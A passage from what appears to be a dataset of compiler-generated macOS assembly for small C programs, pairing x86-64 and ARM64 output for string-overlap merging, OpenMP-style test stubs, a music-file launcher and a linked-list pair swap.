.build_version macos, 13, 0 sdk_version 13, 3
.globl _overlap ## -- Begin function overlap
.p2align 4, 0x90
_overlap: ## @overlap
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -28(%rbp)
movq -16(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -32(%rbp)
movl $0, -36(%rbp)
movl $0, -40(%rbp)
movl $1, -24(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
movl -24(%rbp), %eax
cmpl -28(%rbp), %eax
jge LBB0_14
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -40(%rbp)
movl -24(%rbp), %eax
movl %eax, -20(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -20(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl -28(%rbp), %ecx
movb %al, -41(%rbp) ## 1-byte Spill
jge LBB0_5
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movl -40(%rbp), %eax
cmpl -32(%rbp), %eax
setl %al
movb %al, -41(%rbp) ## 1-byte Spill
LBB0_5: ## in Loop: Header=BB0_3 Depth=2
movb -41(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB0_6
jmp LBB0_10
LBB0_6: ## in Loop: Header=BB0_3 Depth=2
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movsbl (%rax,%rcx), %eax
movq -16(%rbp), %rcx
movslq -40(%rbp), %rdx
movsbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jne LBB0_8
## %bb.7: ## in Loop: Header=BB0_3 Depth=2
movl -40(%rbp), %eax
addl $1, %eax
movl %eax, -40(%rbp)
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_9
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
movl $0, -40(%rbp)
jmp LBB0_10
LBB0_9: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_3
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
cmpl -36(%rbp), %eax
jle LBB0_12
## %bb.11: ## in Loop: Header=BB0_1 Depth=1
movl -40(%rbp), %eax
movl %eax, -36(%rbp)
LBB0_12: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_13
LBB0_13: ## in Loop: Header=BB0_1 Depth=1
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_1
LBB0_14:
movl -36(%rbp), %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _concat ## -- Begin function concat
.p2align 4, 0x90
_concat: ## @concat
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl %edx, -20(%rbp)
movq -8(%rbp), %rax
movq %rax, -32(%rbp) ## 8-byte Spill
movq -8(%rbp), %rdi
callq _strlen
movq %rax, %rcx
movq -32(%rbp), %rax ## 8-byte Reload
movslq -20(%rbp), %rdx
subq %rdx, %rcx
movb $0, (%rax,%rcx)
movq -8(%rbp), %rdi
movq -16(%rbp), %rsi
movq $-1, %rdx
callq ___strcat_chk
movq -16(%rbp), %rax
movb $42, (%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -12(%rbp)
leaq L_.str(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
leaq -16(%rbp), %rsi
callq _scanf
movl -16(%rbp), %eax
## kill: def $rax killed $eax
movq %rax, -88(%rbp) ## 8-byte Spill
movq %rsp, %rcx
movq %rcx, -32(%rbp)
imulq $100, %rax, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq -88(%rbp), %rax ## 8-byte Reload
movq %rsp, %rcx
movq %rcx, -80(%rbp) ## 8-byte Spill
movq %rax, -40(%rbp)
movl $0, -20(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB2_4
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -80(%rbp), %rdi ## 8-byte Reload
movslq -20(%rbp), %rax
imulq $100, %rax, %rax
addq %rax, %rdi
callq _gets
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB2_1
LBB2_4:
movl $-1, -56(%rbp)
movl $0, -64(%rbp)
movl $0, -44(%rbp)
LBB2_5: ## =>This Loop Header: Depth=1
## Child Loop BB2_7 Depth 2
## Child Loop BB2_9 Depth 3
movl -44(%rbp), %eax
movl -16(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB2_22
## %bb.6: ## in Loop: Header=BB2_5 Depth=1
movl $0, -20(%rbp)
LBB2_7: ## Parent Loop BB2_5 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB2_9 Depth 3
movl -20(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB2_20
## %bb.8: ## in Loop: Header=BB2_7 Depth=2
movl $0, -24(%rbp)
LBB2_9: ## Parent Loop BB2_5 Depth=1
## Parent Loop BB2_7 Depth=2
## => This Inner Loop Header: Depth=3
movl -24(%rbp), %eax
cmpl -16(%rbp), %eax
jge LBB2_18
## %bb.10: ## in Loop: Header=BB2_9 Depth=3
movl -20(%rbp), %eax
cmpl -24(%rbp), %eax
je LBB2_16
## %bb.11: ## in Loop: Header=BB2_9 Depth=3
movq -80(%rbp), %rax ## 8-byte Reload
movslq -20(%rbp), %rcx
imulq $100, %rcx, %rcx
addq %rcx, %rax
movsbl (%rax), %eax
cmpl $42, %eax
je LBB2_16
## %bb.12: ## in Loop: Header=BB2_9 Depth=3
movq -80(%rbp), %rax ## 8-byte Reload
movslq -24(%rbp), %rcx
imulq $100, %rcx, %rcx
addq %rcx, %rax
movsbl (%rax), %eax
cmpl $42, %eax
je LBB2_16
## %bb.13: ## in Loop: Header=BB2_9 Depth=3
movq -80(%rbp), %rsi ## 8-byte Reload
movslq -20(%rbp), %rax
imulq $100, %rax, %rax
movq %rsi, %rdi
addq %rax, %rdi
movslq -24(%rbp), %rax
imulq $100, %rax, %rax
addq %rax, %rsi
callq _overlap
movl %eax, -60(%rbp)
movl -56(%rbp), %eax
cmpl -60(%rbp), %eax
jge LBB2_15
## %bb.14: ## in Loop: Header=BB2_9 Depth=3
movl -60(%rbp), %eax
movl %eax, -56(%rbp)
movl -20(%rbp), %eax
movl %eax, -48(%rbp)
movl -24(%rbp), %eax
movl %eax, -52(%rbp)
LBB2_15: ## in Loop: Header=BB2_9 Depth=3
jmp LBB2_16
LBB2_16: ## in Loop: Header=BB2_9 Depth=3
jmp LBB2_17
LBB2_17: ## in Loop: Header=BB2_9 Depth=3
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB2_9
LBB2_18: ## in Loop: Header=BB2_7 Depth=2
jmp LBB2_19
LBB2_19: ## in Loop: Header=BB2_7 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB2_7
LBB2_20: ## in Loop: Header=BB2_5 Depth=1
movq -80(%rbp), %rsi ## 8-byte Reload
movslq -48(%rbp), %rax
imulq $100, %rax, %rax
movq %rsi, %rdi
addq %rax, %rdi
movslq -52(%rbp), %rax
imulq $100, %rax, %rax
addq %rax, %rsi
movl -56(%rbp), %edx
callq _concat
movl $-1, -56(%rbp)
## %bb.21: ## in Loop: Header=BB2_5 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB2_5
LBB2_22:
movq -80(%rbp), %rdi ## 8-byte Reload
movslq -48(%rbp), %rax
imulq $100, %rax, %rax
addq %rax, %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, -68(%rbp)
movl -68(%rbp), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq -32(%rbp), %rax
movq %rax, %rsp
movl -12(%rbp), %eax
movl %eax, -92(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_24
## %bb.23:
movl -92(%rbp), %eax ## 4-byte Reload
movq %rbp, %rsp
popq %rbp
retq
LBB2_24:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d "
.subsections_via_symbols
| the_stack_data/184517438.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
ldr x0, [sp, #16]
bl _rush
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _system
ldr w0, [sp, #12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "open ./music.mp3"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rdi
callq _rush
leaq L_.str(%rip), %rdi
callq _system
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "open ./music.mp3"
.subsections_via_symbols
| the_stack_data/109742.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test_no_clause ; -- Begin function test_no_clause
.p2align 2
_test_no_clause: ; @test_no_clause
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _foo
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
bl _foo
bl _foo
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _test_branch_protected_scope ; -- Begin function test_branch_protected_scope
.p2align 2
_test_branch_protected_scope: ; @test_branch_protected_scope
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #4]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
ldr w8, [sp, #4]
subs w8, w8, #5
cset w8, ne
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
b LBB1_1
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #6
cset w8, ne
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
b LBB1_31
LBB1_5: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #7
cset w8, ne
tbnz w8, #0, LBB1_7
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_1 Depth=1
b LBB1_9
LBB1_7: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #8
cset w8, ne
tbnz w8, #0, LBB1_10
b LBB1_8
LBB1_8: ; in Loop: Header=BB1_1 Depth=1
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [sp, #4]
add x8, sp, #8
add x9, x8, x9, lsl #2
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_1 Depth=1
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_1 Depth=1
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_1 Depth=1
b LBB1_13
LBB1_13: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #5
cset w8, ne
tbnz w8, #0, LBB1_15
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_1 Depth=1
b LBB1_1
LBB1_15: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #6
cset w8, ne
tbnz w8, #0, LBB1_17
b LBB1_16
LBB1_16:
b LBB1_31
LBB1_17: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #7
cset w8, ne
tbnz w8, #0, LBB1_19
b LBB1_18
LBB1_18: ; in Loop: Header=BB1_1 Depth=1
b LBB1_21
LBB1_19: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #8
cset w8, ne
tbnz w8, #0, LBB1_22
b LBB1_20
LBB1_20: ; in Loop: Header=BB1_1 Depth=1
b LBB1_21
LBB1_21: ; in Loop: Header=BB1_1 Depth=1
ldrsw x9, [sp, #4]
add x8, sp, #8
add x9, x8, x9, lsl #2
ldr w8, [x9]
add w8, w8, #1
str w8, [x9]
b LBB1_22
LBB1_22: ; in Loop: Header=BB1_1 Depth=1
b LBB1_23
LBB1_23: ; in Loop: Header=BB1_1 Depth=1
b LBB1_24
LBB1_24: ; in Loop: Header=BB1_1 Depth=1
b LBB1_25
LBB1_25: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB1_27
b LBB1_26
LBB1_26: ; in Loop: Header=BB1_1 Depth=1
b LBB1_9
LBB1_27: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB1_29
b LBB1_28
LBB1_28: ; in Loop: Header=BB1_1 Depth=1
b LBB1_1
LBB1_29: ; in Loop: Header=BB1_1 Depth=1
b LBB1_30
LBB1_30: ; in Loop: Header=BB1_1 Depth=1
b LBB1_21
LBB1_31:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_33
b LBB1_32
LBB1_32:
bl ___stack_chk_fail
LBB1_33:
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.globl _test_invalid_clause ; -- Begin function test_invalid_clause
.p2align 2
_test_invalid_clause: ; @test_invalid_clause
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _foo
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _test_non_identifiers ; -- Begin function test_non_identifiers
.p2align 2
_test_non_identifiers: ; @test_non_identifiers
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _foo
bl _foo
bl _foo
bl _foo
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _test_private ; -- Begin function test_private
.p2align 2
_test_private: ; @test_private
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _test_lastprivate ; -- Begin function test_lastprivate
.p2align 2
_test_lastprivate: ; @test_lastprivate
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _test_firstprivate ; -- Begin function test_firstprivate
.p2align 2
_test_firstprivate: ; @test_firstprivate
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
bl _foo
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _test_nowait ; -- Begin function test_nowait
.p2align 2
_test_nowait: ; @test_nowait
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test_no_clause ## -- Begin function test_no_clause
.p2align 4, 0x90
_test_no_clause: ## @test_no_clause
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb $0, %al
callq _foo
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
movb $0, %al
callq _foo
movb $0, %al
callq _foo
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test_branch_protected_scope ## -- Begin function test_branch_protected_scope
.p2align 4, 0x90
_test_branch_protected_scope: ## @test_branch_protected_scope
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $128, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -116(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -116(%rbp), %eax
addl $1, %eax
movl %eax, -116(%rbp)
cmpl $5, -116(%rbp)
jne LBB1_3
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_1
LBB1_3: ## in Loop: Header=BB1_1 Depth=1
cmpl $6, -116(%rbp)
jne LBB1_5
## %bb.4:
jmp LBB1_31
LBB1_5: ## in Loop: Header=BB1_1 Depth=1
cmpl $7, -116(%rbp)
jne LBB1_7
## %bb.6: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_9
LBB1_7: ## in Loop: Header=BB1_1 Depth=1
cmpl $8, -116(%rbp)
jne LBB1_10
## %bb.8: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_9
LBB1_9: ## in Loop: Header=BB1_1 Depth=1
movslq -116(%rbp), %rax
movl -112(%rbp,%rax,4), %ecx
addl $1, %ecx
movl %ecx, -112(%rbp,%rax,4)
LBB1_10: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_11
LBB1_11: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_12
LBB1_12: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_13
LBB1_13: ## in Loop: Header=BB1_1 Depth=1
cmpl $5, -116(%rbp)
jne LBB1_15
## %bb.14: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_1
LBB1_15: ## in Loop: Header=BB1_1 Depth=1
cmpl $6, -116(%rbp)
jne LBB1_17
## %bb.16:
jmp LBB1_31
LBB1_17: ## in Loop: Header=BB1_1 Depth=1
cmpl $7, -116(%rbp)
jne LBB1_19
## %bb.18: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_21
LBB1_19: ## in Loop: Header=BB1_1 Depth=1
cmpl $8, -116(%rbp)
jne LBB1_22
## %bb.20: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_21
LBB1_21: ## in Loop: Header=BB1_1 Depth=1
movslq -116(%rbp), %rax
movl -112(%rbp,%rax,4), %ecx
addl $1, %ecx
movl %ecx, -112(%rbp,%rax,4)
LBB1_22: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_23
LBB1_23: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_24
LBB1_24: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_25
LBB1_25: ## in Loop: Header=BB1_1 Depth=1
cmpl $0, -112(%rbp)
jne LBB1_27
## %bb.26: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_9
LBB1_27: ## in Loop: Header=BB1_1 Depth=1
cmpl $1, -108(%rbp)
jne LBB1_29
## %bb.28: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_1
LBB1_29: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_30
LBB1_30: ## in Loop: Header=BB1_1 Depth=1
jmp LBB1_21
LBB1_31:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_33
## %bb.32:
addq $128, %rsp
popq %rbp
retq
LBB1_33:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _test_invalid_clause ## -- Begin function test_invalid_clause
.p2align 4, 0x90
_test_invalid_clause: ## @test_invalid_clause
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb $0, %al
callq _foo
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test_non_identifiers ## -- Begin function test_non_identifiers
.p2align 4, 0x90
_test_non_identifiers: ## @test_non_identifiers
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test_private ## -- Begin function test_private
.p2align 4, 0x90
_test_private: ## @test_private
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test_lastprivate ## -- Begin function test_lastprivate
.p2align 4, 0x90
_test_lastprivate: ## @test_lastprivate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test_firstprivate ## -- Begin function test_firstprivate
.p2align 4, 0x90
_test_firstprivate: ## @test_firstprivate
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
movb $0, %al
callq _foo
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _test_nowait ## -- Begin function test_nowait
.p2align 4, 0x90
_test_nowait: ## @test_nowait
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/153269435.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _swapPairs ; -- Begin function swapPairs
.p2align 2
_swapPairs: ; @swapPairs
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, #32]
ldr x8, [sp, #32]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldr x8, [sp, #32]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
ldr x8, [sp, #32]
str x8, [sp, #40]
b LBB0_9
LBB0_3:
ldr x8, [sp, #32]
str x8, [sp, #24]
ldr x8, [sp, #32]
ldr x8, [x8, #8]
str x8, [sp, #16]
ldr x8, [sp, #16]
ldr x8, [x8, #8]
ldr x9, [sp, #24]
str x8, [x9, #8]
ldr x8, [sp, #24]
ldr x9, [sp, #16]
str x8, [x9, #8]
ldr x8, [sp, #16]
str x8, [sp, #32]
ldr x8, [sp, #24]
str x8, [sp, #8]
ldr x8, [sp, #16]
str x8, [sp, #24]
ldr x8, [sp, #8]
str x8, [sp, #16]
ldr x8, [sp, #16]
str x8, [sp]
ldr x8, [sp, #16]
ldr x8, [x8, #8]
str x8, [sp, #16]
b LBB0_4
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=1
ldr x8, [sp, #16]
str x8, [sp, #24]
ldr x8, [sp, #16]
ldr x8, [x8, #8]
str x8, [sp, #16]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
b LBB0_8
LBB0_7: ; in Loop: Header=BB0_4 Depth=1
ldr x8, [sp, #16]
ldr x8, [x8, #8]
ldr x9, [sp, #24]
str x8, [x9, #8]
ldr x8, [sp, #24]
ldr x9, [sp, #16]
str x8, [x9, #8]
ldr x8, [sp, #16]
ldr x9, [sp]
str x8, [x9, #8]
ldr x8, [sp, #24]
str x8, [sp, #8]
ldr x8, [sp, #16]
str x8, [sp, #24]
ldr x8, [sp, #8]
str x8, [sp, #16]
ldr x8, [sp, #16]
str x8, [sp]
ldr x8, [sp, #16]
ldr x8, [x8, #8]
str x8, [sp, #16]
b LBB0_4
LBB0_8:
ldr x8, [sp, #32]
str x8, [sp, #40]
b LBB0_9
LBB0_9:
ldr x0, [sp, #40]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
mov w0, #0
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _swapPairs ## -- Begin function swapPairs
.p2align 4, 0x90
_swapPairs: ## @swapPairs
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
cmpq $0, -16(%rbp)
je LBB0_2
## %bb.1:
